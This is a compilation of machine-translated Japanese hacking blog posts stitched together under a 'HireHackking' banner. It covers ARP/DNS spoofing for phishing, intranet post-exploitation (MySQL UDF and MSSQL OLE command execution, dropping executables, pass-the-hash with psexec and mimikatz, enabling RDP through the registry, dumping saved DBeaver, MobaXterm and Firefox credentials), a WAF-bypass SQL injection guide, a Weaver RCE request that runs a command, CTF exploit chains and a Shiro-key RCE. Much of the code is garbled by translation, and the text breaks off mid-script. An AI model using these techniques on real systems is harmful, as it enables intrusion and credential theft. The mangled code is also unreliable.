まず、Spooferは構築されたARP応答パケットをターゲットマシンに送信します。 ARPスプーフィングが成功した後、相手が送信したDNSリクエストパケットを嗅ぎ、パケットを分析してIDとポート番号を取得し、ターゲットによって構築されたDNSリターンパケットを送信します。 DNS Replyパケットを受信した後、IDとポート番号がすべて正しいことがわかります。つまり、ドメイン名とRETURNパケットの対応するIPアドレスがDNSキャッシュテーブルに保存され、実際のDNS Replyパケットが後の実際のDNS返信パケットが返されると破棄されます。
欺ceptionの実践

テスト環境
攻撃ホスト:192.168.174.129ターゲットホスト:192.168.174.170
簡単なテスト
ステップ1:攻撃ホストのネットワーク接続性をテストする

ステップ2:次に、攻撃者のホストでApacheサービスを開始し、フィッシングページを作成します。これは、通常のHTMLページに簡素化されます。ローカルテスト効果は次のとおりです

ステップ3:Etter.dnsファイルを見つけ、構成ファイルを変更します。ポイントwww.al1ex.comはローカルIPアドレスに
Etter.dnsを見つけます
leafpad /etc/ettercap/etter.dns

ステップ4:eTtercapでスプーフィングを開始します
eTtercap -g

次に、DNSスプーフィングを有効にします
HireHackking
0x00環境
LinuxホストWWW許可ホストは外部ネットワークから出ることができませんフォワードプロキシはセグメントBを使用できませんイントラネット
0x01情報を収集
f-scrack.py redis、esなどを取得します。
PS: Scrack.pyのMSSQLモジュールブラストは不正確です。自分で簡単なものを書くことができます
python scrack.py -h 10.111.1.1-10.111.2.254 -P 3306,5432 -M 200 -T 6
1.redis
多くのキーがあるときはキーを使用しない *
基本情報:マスター、数量、バージョン番号を表示します
スキャンを使用してkeys:スキャン0マッチ *カウント100を表示
タイプ:タイプキーを表示します
ハッシュタイプ: HGETALLキー
2.mysql
Windowsでは、まずプラグインディレクトリ:に書き込むことができるかどうかをテストできます
@@Plugin_dirを選択します。
outfile plugin_dirにhelloを選択してください。次に、MSFに付属のUDFを使用し、最初に16進数に変換してから、プラグインディレクトリ:にエクスポートします
テストを使用します。
@a=concat( ''、0xhex_of_exe);
テーブルゴーストを作成します(data longblob);
ゴースト値に挿入( '');
Ghost Set data=@a;
GhostからDumpfile Dirにデータを選択します。
CREATE FUNCTION SYS_EVAL RETURNS STRING SONAME 'SYS_EVAL.DLL';
ドロップ関数SYS_EVAL; //使用後に削除し、良い習慣を開発し、最初にSYS_EVALを選択します。 sys_execを使用しないようにしてください(クラッシュします)
3.mssql
MSSQLブラストは、動きが比較的大きくなるため、可能な限り背面に配置する必要があります。
MSSQLブラストが成功した後、CLRを使用してアクセス許可を取得することをお勧めします。 `xp_cmdshell`を直接使用すると死に、360はそれを傍受します。
MSSQLのユーザーパスワード、Certutil、およびその他のツールが傍受または警戒されることが知られています。 MSSQLが提供するツールを使用して、ハードディスクに書き込みます。
ここで、ストアドプロシージャ:を開きます
SP_CONFIGURE 'Advanced Optionsを表示'、1;
行く
再構成;
行く
SP_CONFIGURE 'OLE Automation Procedures'、1;
行く
再構成;
mssqlは大きなファイルを書き込みます
たとえば、exeおよびその他のものが最初にhexに変換され、次に:ファイルに書き込まれます
xxd -plain /tmp/test.exe | tr -d '\ n' /tmp/dll.hex
@hexstring varchar(max)を宣言します。
@hexstring='変換後のhexを設定します';
@file varbinary(max)を宣言します。
@file=(select cast( '' as xml).value( 'xs:hexbinary(sql:variable(' @hexstring ')、sql:column(' t.pos ')))'、 '' varbinary(max) ')
from(select searce substring(@hexstring、1、2)の場合、 '0x' 'then 3 else 0 end)as t(pos));
@fileを選択します;
@init intを宣言;
@filepath nvarchar(4000)=n'c: \ 22.exe ';
exec sp_oacreate 'adodb.stream'、@init output; - 作成されたインスタンス
exec sp_oasetproperty @init、 'type'、1;
exec sp_oamethod @init、 'open'; - メソッドを呼び出します
exec sp_oamethod @init、 'write'、null、@file; - メソッドを呼び出します
exec sp_oamethod @init、 'savetofile'、null、 @filepath、2; - メソッドを呼び出します
exec sp_oamethod @init、 'close'; - メソッドを呼び出します
exec sp_oadestroy @init; - リソース
4.MSSQLバックアップ
バックアップデータベースDBを閉じました
Disk='C: \ Windows \ temp \ db.bak'圧縮、init、stats=5;ボリューム圧縮rar.exe a -m0 -v100m c: \ windows \ temp \ db.split c: \ windows \ tasks \ db.bak
c: \\ windows \ temp \\ db.split.rar /var /tmp /
6.pth
wmiwmic /node:192.168.158 /user3:pt007 /password:ADMIN123プロセスコールの作成コールの作成'CMD.EXE /C ipconfigd: \ result.txt 'wmiexec.vbs:を使用することをお勧めします
https://github.com/l3m0n/pentest_study/blob/master/tools/wmiexec.vbs
cscript C: \ windows \ tasks \ aliwmi.vbs/cmd ip 'c: \ windows \ system32 \ calc.exe'msfuse exploit/windows/smb/psexec
オプションを表示します
RHOST 192.168.81.129を設定します
SMBPASS 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BFを設定します
SMBUSER管理者を設定します
オプションを表示します
runmimikatz || Cobalt strikemimikatz.exe特権:Debug 'sekurlsa:pth /domain: /user3360administrator /ntlm:2d20d252a479f485cdf5e171d93985bf /run:cmd.exe '//pass hashpsexecpsecec /accepteula //
sc delete psexesvc
PSEXEC \\ 192.168.1.185 -U PT007 -P Admin123 CMD.Exe
psexec.vbscscript psexec.vbs 192.168.1.158 pt007 admin123 'ipconfig'リモートコマンド実行scnet seve \\ 192.168.17.138 \ c $ 'admin123' /user:pt007
正味使用
dir \\ 192.168.17.138 \ c $
Test.exe \\ 192.168.17.138 \ c $をコピーします
sc \\ 192.168.17.138 Create test binpath='c: \ test.exe'
sc \\ 192.168.17.138テスト開始
Sc \\ 192.168.17.138 Del Test
Windows :https://xz.aliyun.com/t/5957でCMDをリモートで実行する9つの方法

0x03アクセスは拒否されます
RID 500ではないコンピューターでは、使用されるトークンは、WMI、PSEXEC、またはその他の方法を使用するかどうかにかかわらず、中程度のトークンです。 wmiexecを使用する場合、アクセスが拒否されることが修正されます
ハッシュをrawったとき、レジストリを変更することができ、すべてのローカル管理者グループメンバーが持続の手段としてリモートで接続できるようにします。
Reg add hklm \ software \ microsoft \ windows \ currentversion \ policies \ system /v localaccounttokenfilterpolicy /t reg_dword /d 1 /f ### rdp's pth
クロールハッシュをクラックできない場合、ハッシュを使用してRDPにリモートでログインすると、「制限された管理モード」を有効にするためにログインしているシステムが必要になります。 Windows 7およびWinserver 2008には、2871997と2973351プディングの設置が必要です。
1。 RDPを開始
reg 'hklm \ system \ currentControlset \ control \ターミナルサーバー' /v fdenytsconnections /t reg_dword /d 00000000 /f
reg add 'hkey_local_machine \ system \ currentControlset \ control \ Terminal Server \ Winstations \ rdp-tcp' /v portnumber /t reg_dword /d0x00000d3d /f#ポート3389を聞いてください
3389をオンにします
wmic /namespace: \\ root \ cimv2 \ emerinalservices path win32_terminalservicesetting where(__class!='')call setallowtsconnections 1
2。制限付き管理モードをオンにします
reg reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disable-sustricedadmin /t reg_dword /d 00000000 /f 010-10 #### dbeaver
dbeaver6構成ファイル(ストレージの場所と復号化方法は、バージョンによって異なります):
#PassWord暗号化されたストレージ場所:
c: \ users \ user \ appdata \ roaming \ dbeaverdata \ workspace6 \ general \ .dbeaver \ curdentiences-config.json
#URLおよびユーザー名:
c: \ uses \ user \ appdata \ roaming \ dbeaverdata \ workspace6 \ general \ .dbeaver \ data-sources.json Decryption script:https://gist.github.com/felipou/50b60309f9f9b70b1e28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd8e
資格情報をダウンロードした後、pythonを使用して:python decrypt.py credentivelys-config.jsonを復号化し、次に、復号化されたIDに基づいて、Data-Sources.jsonの対応するIPとユーザー名を検索します。
パスワードの古いバージョンは、C: \ users \ users \ .dbeaver4 \ general \ .dbeaver-data-source.xmlに保存されています。http://DBEAVER-PASSWORD-DECRYPTER.S3-WEBSITE-US-WEST-2.AMAZONAWS.COM/を使用して、オンライン復号化を直接使用できます。
3。ファイアウォールルールを追加
対応するIP情報とプライベートキーアドレスを備えた.iniファイルがあります
ストレージの古いバージョン: C: \ users%username%\ appdata \ roaming \ mobaxterm
2020バージョン: c: \ users%username%\ documents \ mobaxterm

0x04ダンプパスワード
Windowsの下の構成ファイルはこの場所にあります:
%appdata%\ code \ user \ settings.jsonは、構成ファイルに基づいてメモやSSHなどのストレージ場所を見つけることができます

0x05 MOBAXTEM
マスターサンハオはそれをとても言った、私はfirepwd.py:を使用することを選んだ
Firefox構成ファイルディレクトリ:
%AppData%\ Mozilla \ firefox \ profiles \
HireHackking
一部の友人は、グループでのSQL注射の問題に遭遇することがよくあります。時々WAFがあり、時には盲目で、時には始める方法がわからないこともありますか?今日はスーパーインジェクションツールの名前とツールを共有しています
住所をダウンロード:https://github.com/shack2/supersqlinicturev1
ケース1: WAFを使用したブラインドノート

以下の図に示すように、単一の引用は報告されたエラーを報告し、エラーはエコーします。この状況は、典型的なブールブラインドノートです。 1=1またはまたは1=1などのステートメントを作成できる限り、データを作成できます。

以下はMySQLデータベースです。これは、通常、Booleanを注入する機能の場合に使用されるために使用されます。 WAFは通常、単一のif()をブロックしませんが、if(1,1,1)のようなif(1,1,1)をブロックします。ブロックされている場合は、1を11〜10、2で12-10に置き換えることができます。


次に、スーパーインジェクションツールにシャトルを使用してください。

WAFルールをバイパスすることは次のとおりです。比較的簡単です

ケース2:
ケース1で構築されたものは、スーパーインジェクションツールのページで返されるコンテンツを識別し、1=1の正しいページフィールドと1=2の間違ったページのフィールドを決定することです。通常のツールは注入点を認識できないため、フィールドを指定し、ツールにブールインジェクションの基礎を与える必要があります!
別の例を見てみましょう。私が意味することを理解できることを願っています。
次の図はまだmysqlであり、ifを正常に構築する


メッセージはスーパーインジェクションツールに貼り付けられます。このツールは、ブラインドベットをテストするときに1=1および1=2のみをテストします。したがって、ifの最初の位置でペイロードを設定し、右下隅のボックスを見て、正しいページのエコー値が識別されました。その後、データが出てきます!

ケース3:
これがMSSQLタイプです、
つまり、SQL-SERVER。サイトにはWAFがあります。インターセプトせずにテストまたは1=1および1=2。 1=1を使用して、データパケットを作成します。 SQLインジェクションツールは、ブール値を認識できます。

次に、データのブレーンストーミングはありません。

元の接続:https://mp.weixin.qq.com/s/jrv1zljz3ibtlorcxwdo-q
HireHackking

タイトル:Micro-1Day BackEnd RCE監査の脆弱性

特定のアプリケーションには、バックグラウンドRCEがあります。関連情報によると、バックグラウンド監査プロセスでNewinstanceインスタンス化への呼びかけが見つかりました。

ソースをトレースし、interfacere -gistercustomoperationcmd #excuteを見つけます
アクセスパスは/API/Integration/Workflowflow/GetInterfacereGisterCustomoperationです
GetInterFacereGisterCustomoperation Calluteを実行し、最初にユーザーを審査するため、ここにはバックグラウンドの脆弱性があります

この汚染関数javacodetoobjectが必要なので、ifの条件を満たし、var18とvar20を制御する必要があります

ここでは、var14を追加する必要があります

var14の値は、postメソッドが前に指定されているため、リクエストパラメーターメソッドから取得されるため、ここでメソッド=add

判断を下した後、VAR15の値は空の場合に返されるため、ActionIDの値は空になりません。上記の条件と組み合わせると、method=addactionId=1

VAR18の開始がweaver.interfaces.workflow.action.javacode.actionが次の判断を入力して、例外をスローする場合、望ましい結果を達成できません。ここでclassname=weaver.interfaces.workflow.action.javacode.action、上記のパラメーターmethod=addactionid=1classname=weaver.interfaces.workflow.action.javacode.action

次のVAR20値はJavacodeパラメーターから取得され、上記のペイロード方法=addactionId=1classname=weaver.interfaces.workflow.action.javacode.actionjavacode=

var18にweaver.interfaces.workflow.action.javacodeが含まれている場合、javacodetoo objectコールに必要な場合、classname=weaver.interfaces.workflow.action.javacode.action.interfaces.workflow.action.action.javacode.actionが接続に使用されます。それ以外の場合、読み込み例外が報告されます。

上記の条件によると、VAR18およびVAR20の条件は満たされています。構築されたvar20のパラメーターはjavacode=package weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacodeです。 java.io.ioexceptionをインポートします。 public class test {static {try {runtime.getRuntime()。exec( 'calc.exe'); } catch(ioexception e){e.printstacktrace(); }}}ここで、コマンドによって実行されたコードは、静的コードブロックに配置されます。これは、staticのコードがインスタンス化中に自動的に実行され、コマンドの実行が達成されるためです。

実際のパッケージは正常に使用されていないようです。コードを振り返って、パラメーターがdtinfo_customparameterdataに紛失したことがわかりました
POST/API/Integration/Workflowflow/getInterFacereGisterCustomoperation HTTP/1.1
host:
アップグレード-Insecure-Requests: 1
user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/105.0.0.0 safari/537.36 EDG/105.0.0.1343.3333333333333333333333333
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9
Accept-Encoding: gzip、deflate
Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6
cookie: ecology_jsessionid=aaa8g6prbnnbd82yi6fky; jSessionId=aaa8g6prbnnbd82yi6fky; __randcode __=D2FA15E2-395E-4B3B-A004-82FC07C18695; loginidweaver=1; LanguageIdWeaver=7; loginuuids=1
Connection:閉じます
Content-Type:アプリケーション/x-www-form-urlencoded
Content-Length: 548
メソッド=addactionId=1classname=weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacode.testdtinfo_customparameterdata=11javacode=package weaver.interfaces.workflow.action.javacode.weaver.weaver.weaver.weaver.weaver.caction.wevever.weaver.caction.wever.weaver.cact
java.io.ioexceptionをインポートします。
パブリッククラステスト{
static {
試す {
runtime.getRuntime()。exec( 'calc.exe');
} catch(ioException e){
e.printstacktrace();
}
}
}

転載:https://xz.aliyun.com/t/11947
HireHackking

タイトル:Ancun Cup 2022 Web Writgentup

babyphp
index.php:
?php
//flag.phpの何か
クラスA
{
public $ a;
public $ b;
パブリック機能__wakeup()
{
$ this-a='babyhacker';
}
パブリック機能__invoke()
{
if(isset($ this-a)$ this-a==md5($ this-a)){
$ this-b-uwant();
}
}
}
クラスb
{
public $ a;
public $ b;
public $ k;
function __destruct()
{
$ this-b=$ this-k;
die($ this-a);
}
}
クラスc
{
public $ a;
public $ c;
パブリック機能__toString()
{
$ cc=$ this-c;
$ cc()を返します。
}
パブリック関数uwant()
{
if($ this-a=='phpinfo'){
phpinfo();
} それ以外{
call_user_func(array(reset($ _ session)、$ this-a));
}
}
}
if(isset($ _ get ['d0g3'])){
ini_set($ _ get ['baby']、$ _get ['d0g3']);
session_start();
$ _SESSION ['SESS']=$ _POST ['SESS'];
}
それ以外{
session_start();
if(isset($ _ post ['pop'])){
Unserialize($ _ post ['pop']);
}
}
var_dump($ _ session);
highlight_file(__ file__);
flag.php:
?php
session_start();
highlight_file(__ file__);
//ルートディレクトリのフラグ
if($ _ server ['remote_addr']==='127.0.0.1'){
$ f1ag=inprode(array(new $ _get ['a']($ _ get ['b'])));
$ _Session ['f1ag']=$ f1ag;
}それ以外{
echo 'only localhost !';
}
ポップチェーンを構築することで、SESSION.SERIALIZE_HANDLERがPHPであり、flag.phpのソースコードと組み合わされていることがわかります。SSRFを実行するためにセッションがSOAPCLIENTを希望すると推測されます。
アイデアは、最初にini_setのパラメーターを制御して、serialize_handlerをphp_serializeとして指定し、パラメーターsessをsoapclientの脱isizationのペイロードとして渡し、すべてのポストパラメーターを取得し、ページに1回アクセスして脱izerializationをトリガーすることです。最後に、既知のポップチェーンを使用して、soapclient __callメソッドを呼び出してssrfをトリガーします
SSRFはまず、PHPのネイティブクラスGlobiteratorを使用して、ルートディレクトリ内のFから始まるファイルを見つけ、次にSplFileObjectを使用してフラグを読み取ります。
ポップチェーンPayload:
?php
クラスA
{
public $ a;
public $ b;
}
クラスb
{
}
クラスc
{
public $ a;
public $ c;
}
$ cc=new C();
$ cc-a='xxxx';
$ a=new a();
$ a-a='0E215962017';
$ a-b=$ cc;
$ c=new C();
$ c-c=$ a;
$ b=new b();
$ b-a=$ c;
Echo Serialize($ b);
SSRF Payload:
?php
//$ a=new soapclient(null、array( 'location'='http://127.0.1/flag.php?a=globiteratorb=/f*'、 'user_agent'='='='=' 'テスト'));
$ a=new SoapClient(null、array( 'location'='http://127.0.1/flag.php?a=splfileobjectb=/f111111lllllllllaagg'、 'user_agent'='111 \ r \ ncookie: phpsessid=c9urdtg4k4kp5jl36mml4qfp5jl36M 'uri'='test'));
$ b=serialize($ a);
echo '|' .urlencode($ b);
最初にGlobiteratorを使用します




splfileobjectを再利用します





ez_js
ログインインターフェイスとアカウントのパスワードを自由に入力すると、 /cookieルートにジャンプし、右クリックしてjsfuck復号化プロンプトをコメントします。
ホームページを右クリックして、次のようにコメントします:
! - この秘密はセキュリティのために7文字の長いです!
Hash=Md5(Secret+'Flag'); //1946714CFA9DEB70CC40BAB32872F98A
管理者クッキーはですMD5(Secret+UrldeCode( 'フラグ%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
-
1目のハッシュ長拡張攻撃

Cookie Hashを直接変更し、役に立たないことがわかりました。その後、ユーザーIDは空になり、エラーが発生しました

以前のヒントと組み合わせて、JS :の上限と小文字の機能を使用します
'ı'.touppercase()==' i '//true

次に、 /infoflllllagにジャンプします(静的環境は30分ごとにリセットされるため、前の写真がキャプチャされます)
var Express=require( 'Express');
var router=express.router();
const isobject=obj=obj obj.constructor obj.constructor===object;
const merge=(a、b)={
for(b in bのvar attr){
if(isobject(a attr])isobject(b [attr])){
マージ([attr]、b [attr]);
} それ以外{
a [attr]=b [attr];
}
}
aを返します
}
const clone=(a)={
MERGE({}、a)を返します。
}
router.get( '/'、function(req、res、next){
if(req.flag=='flag'){
//出力フラグ;
res.send( 'flag ???');
}
Res.Render( 'Info');
});
router.post( '/'、express.json()、function(req、res){
var str=req.body.id;
var obj=json.parse(str);
req.cookies.id=clone(obj);
Res.Render( 'Info');
});
module.exports=router;
REQのフラグ属性をプロトタイプチェーンを介して汚染する必要があることは明らかです。ペイロードは次のとおりです
id={'__ proto __' :+{'flag':+' flag '}}

次に、旗にアクセスします

静的ターゲットマシンのスクリーンショット


ezupload
最初にphpinfoをアップロードします

php 8.0.1、disable_functionsはバンチをフィルタリングしますが、file_get_contents()が利用可能であり、質問のソースコードはそれを読みます
HTML

form method='post' enctype='multipart/form-data'
このフロントエンドは美しくありません!
入力型='ファイル' name='upload_file' /
入力タイプ='送信' name='送信'値='送信' /
/形状
/体
/HTML
?php
function waf($ var): bool {
$ blacklist=['\ $ _'、 'eval'、 'copy'、 'assert'、 'usort'、 'include'、 'require'、 '$'、 '^'、 '〜'、 ' - '、 '%'、 '*'、 'file'、 'fopen'、 'fwriter'、 'fput'、 'copy'、 'curl'、fread '、' fget '、' function_exists '、' dl '、' putenv '、' system '、' exec '、' shell_exec '、' passthru '、' proc_open '、' proc_close '、' proc_close '、 'proc_get_status'、 'checkdnsrr'、 'getmxrr'、 'getservbyname'、 'getservbyport'、 'syslog'、 'popen'、 'show_source'、 'highlight_file'、 '``、' chmod '];
foreach($ blacklist as $ blackword){
if(strstr($ var、$ blackword))trueを返します。
}
falseを返します。
}
error_reporting(0);
//Directoryのアップロードを設定します
定義( 'upload_path'、 './uploads');
$ msg='アップロード成功!';
if(isset($ _ post ['submit'])){
$ temp_file=$ _files ['upload_file'] ['tmp_name'];
$ file_name=$ _files ['upload_file'] ['name'];
$ ext=pathinfo($ file_name、pathinfo_extension);
if(!preg_match( '/php/i'、strtolower($ ext))){
die( '私は写真が欲しくない、xiong da');
}
$ content=file_get_contents($ temp_file);
if(waf($ content)){
die( 'ああ、あなたは何をしているの、小さなheizi .');
}
$ new_file_name=md5($ file_name)。 '。'。$ ext;
$ img_path=upload_path。 '/'。 $ new_file_name;
if(move_uploaded_file($ temp_file、$ img_path)){
$ is_upload=true;
} それ以外{
$ msg='アップロード障害!';
die();
}
echo $ msg。 ' '。$ img_path;
ビット操作|フィルタリングされていません。ここで、|を取ります例として、Globiteratorを使用してフラグを見つけます
Reをインポートします
preg='\*'
def converttourl(s):
S 16:の場合
return '%0' + str(hex(s).replace( '0x'、 ''))
else:
return '%' + str(hex(s).r
HireHackking
1。はじめに
Spring HeapdumpがShiro Keyを漏らし、したがってRCEを漏らし、脆弱な環境を構築しました。 GitHubアドレス:https://Github.com/p4r4d1se/heapdump_shiro_vuln
脆弱性の悪用条件:
Spring Shiro環境にはHeapdumpファイルの漏れと搾取可能なチェーンがあります。
2。脆弱性の原則
多くの大物は、シロ関連の脆弱性の原則とデバッグ分析を共有しています。ここでは詳しく説明しません。私は主にこの脆弱性環境を説明します:
(1)Springには実際にSpring Securityと呼ばれる独自のデフォルトのセキュリティフレームワークがありますが、Shiroの使用にはいくつかの開発が使用され、Spring SecuriyをShiroに置き換えます。この状況は珍しいことではありません。たとえば、RuoyiはSpring Shiroです。
(2)キーがある場合、シロの最新バージョンでさえ依然として脆弱性があり、多くの場合、開発、展開、その他の問題によりシロのキーが漏れます。
(3)Shiroが1.2.4を超えるバージョンでは、開発者の手動介入なしにキーがランダム生成に変更されます。このランダム生成は、Web環境が開始されるたびに再起動する前にキーが変更されないことです。 JVM仮想マシンメモリにあります。
(4)SpringのHeapdumpファイルは、JVM仮想マシンメモリからエクスポートされます。
要約すると、この組み合わせの脆弱性が作成されました。

3。脆弱性の実証
脆弱な環境を読み込んだ後、シロバージョンが1.8.0であることがわかります。

ポート8080で /アクチュエータ /heapdumpにアクセスして、heapdumpファイルを取得します。

シロのキーを取得するためによく使用する方法は2つあります。
(1)jdumpspider:https://github.com/whwlsfb/jdumpspider
このウィジェットは、Heapdumpの変動情報を自動的にクロールすることができますが、これはより便利です。欠点は、クロールリストにない情報を見逃す可能性があることです。
:javaを直接実行します-jar jdumpspider.jar heapdump変数情報を自動的に取得します。ここでは、Shirokeyを入手してください:(2)jvisualvm.exe:Java独自のツール、デフォルトパスはJDKディレクトリ/bin/jvisualvm.exeです。
このツールは、必要な情報を手動で見つけて、フィルターにorg.apache.shiro.web.mgt.cookieremembermemanagerを入力する必要があります。
Pythonスクリプトを使用して、Base64エンコードのShiroキーに変換します。Pythonスクリプトを使用して、Base64エンコードされたShiroキーに変換します。
base64をインポートします
インポート構造
print(base64.b64encode(struct.pack( 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb)-115,33,59,24,112,44,124,56,110、-15,59,1、-41)))

サーバーを再起動して、shiroキーをもう一度取得します。キーが変更されたことがわかります。脆弱性の原則の3番目のポイントが検証されます。開始するたびに、ランダムキーが生成されます。

新しいキーに切り替えることは、引き続き使用できます。

元のリンクから転載:https://xz.aliyun.com/t/11908
HireHackking

タイトル:XSSのヒントの毎日のSRC

0x00序文
パブリックテストと排他的なテストに関して、XSSホール、水文学、水文学、水文学を拾う方法!
0x01毎日のテスト
毎日の退屈テストサイト。侵入テストを受けている場合、サーバー内のイメージを呼び出すHTMLタグがあり、サーバーIPアドレスを追加するタイプであることがわかります。ホストヘッダーを変更してXSSがあるかどうかを検出することにより、ファズを試みることができます。 この状況を見ると、後者のコードは次のように見える可能性があると推測できます。リクエストパッケージでホストを変更すると、XSSが発生する可能性があります。
成功ポップアップウィンドウ ラグを拾うためのヒントが完了しました。
元のリンクから転載:https://Blog.csdn.net/guapichen/article/details/124040935?spm=1001.2014.3001.5501